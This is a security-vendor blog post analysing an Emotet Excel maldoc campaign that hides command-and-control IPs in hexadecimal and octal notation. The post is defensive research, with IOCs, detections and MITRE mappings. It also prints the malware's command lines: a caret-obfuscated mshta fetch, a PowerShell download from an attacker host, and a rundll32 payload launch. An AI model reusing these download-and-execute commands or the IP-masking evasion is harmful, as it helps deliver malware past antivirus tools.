Authored By: Kiran Raj

In a recent campaign of Emotet, McAfee Researchers observed a change in techniques. The Emotet maldoc was using hexadecimal and octal formats to represent IP address which is usually represented by decimal formats. An example of this is shown below:

Hexadecimal format: 0xb907d607

Octal format: 0056.0151.0121.0114

Decimal format: 185.7.214.7

This change in format might evade some AV products relying on command line parameters but McAfee was still able to protect our customers. This blog explains this new technique.

Figure 1: Image of Infection map for EMOTET Maldoc as observed by McAfee

Threat Summary

The initial attack vector is a phishing email with a Microsoft Excel attachment. 
Upon opening the Excel document and enabling editing, Excel executes a malicious JavaScript from a server via mshta.exe 
The malicious JavaScript further invokes PowerShell to download the Emotet payload. 
The downloaded Emotet payload will be executed by rundll32.exe and establishes a connection to adversaries’ command-and-control server.

Maldoc Analysis

Below is the image (figure 2) of the initial worksheet opened in excel. We can see some hidden worksheets and a social engineering message asking users to enable content. By enabling content, the user allows the malicious code to run.

On examining the excel spreadsheet further, we can see a few cell addresses added in the Named Manager window. Cells mentioned in the Auto_Open value will be executed automatically resulting in malicious code execution.

Figure 3- Named Manager and Auto_Open triggers

Below are the commands used in Hexadecimal and Octal variants of the Maldocs

FORMAT
OBFUSCATED CMD
DEOBFUSCATED CMD

Hexadecimal
cmd /c m^sh^t^a h^tt^p^:/^/[0x]b907d607/fer/fer.html
http://185[.]7[.]214[.]7/fer/fer.html

Octal
cmd /c m^sh^t^a h^tt^p^:/^/0056[.]0151[.]0121[.]0114/c.html
http://46[.]105[.]81[.]76/c.html

Execution

On executing the Excel spreadsheet, it invokes mshta to download and run the malicious JavaScript which is within an html file.

Figure 4: Process tree of excel execution

The downloaded file fer.html containing the malicious JavaScript is encoded with HTML Guardian to obfuscate the code

Figure 5- Image of HTML page viewed on a browser

The Malicious JavaScript invokes PowerShell to download the Emotet payload from “hxxp://185[.]7[.]214[.]7/fer/fer.png” to the following path “C:UsersPublicDocumentsssd.dll”.

cmd line
(New-Object Net.WebClient).DownloadString(‘http://185[.]7[.]214[.]7/fer/fer.png’)

The downloaded Emotet DLL is loaded by rundll32.exe and connects to its command-and-control server

cmd line
cmd  /c C:WindowsSysWow64rundll32.exe C:UsersPublicDocumentsssd.dll,AnyString

IOC

TYPE
VALUE
SCANNER
DETECTION NAME

XLS
06be4ce3aeae146a062b983ce21dd42b08cba908a69958729e758bc41836735c
McAfee LiveSafe and Total Protection
X97M/Downloader.nn

DLL
a0538746ce241a518e3a056789ea60671f626613dd92f3caa5a95e92e65357b3
McAfee LiveSafe and Total Protection

Emotet-FSY

HTML URL
http://185[.]7[.]214[.]7/fer/fer.html

http://46[.]105[.]81[.]76/c.html

WebAdvisor
Blocked

DLL URL
http://185[.]7[.]214[.]7/fer/fer.png

http://46[.]105[.]81[.]76/cc.png

WebAdvisor
Blocked

MITRE ATT&CK

TECHNIQUE ID
TACTIC
TECHNIQUE DETAILS
DESCRIPTION

T1566
Initial access
Phishing attachment
Initial maldoc uses phishing strings to convince users to open the maldoc

T1204
Execution
User Execution
Manual execution by user

T1071
Command and Control
Standard Application Layer Protocol
Attempts to connect through HTTP

T1059
Command and Scripting Interpreter
Starts CMD.EXE for commands execution
Excel uses cmd and PowerShell to execute command

T1218

Signed Binary Proxy Execution
Uses RUNDLL32.EXE and MSHTA.EXE to load library
rundll32 is used to run the downloaded payload. Mshta is used to execute malicious JavaScript

Conclusion

Office documents have been used as an attack vector for many malware families in recent times. The Threat Actors behind these families are constantly changing their techniques in order to try and evade detection. McAfee Researchers are constantly monitoring the Threat Landscape to identify these changes in techniques to ensure our customers stay protected and can go about their daily lives without having to worry about these threats.

The post Emotet’s Uncommon Approach of Masking IP Addresses appeared first on McAfee Blog.

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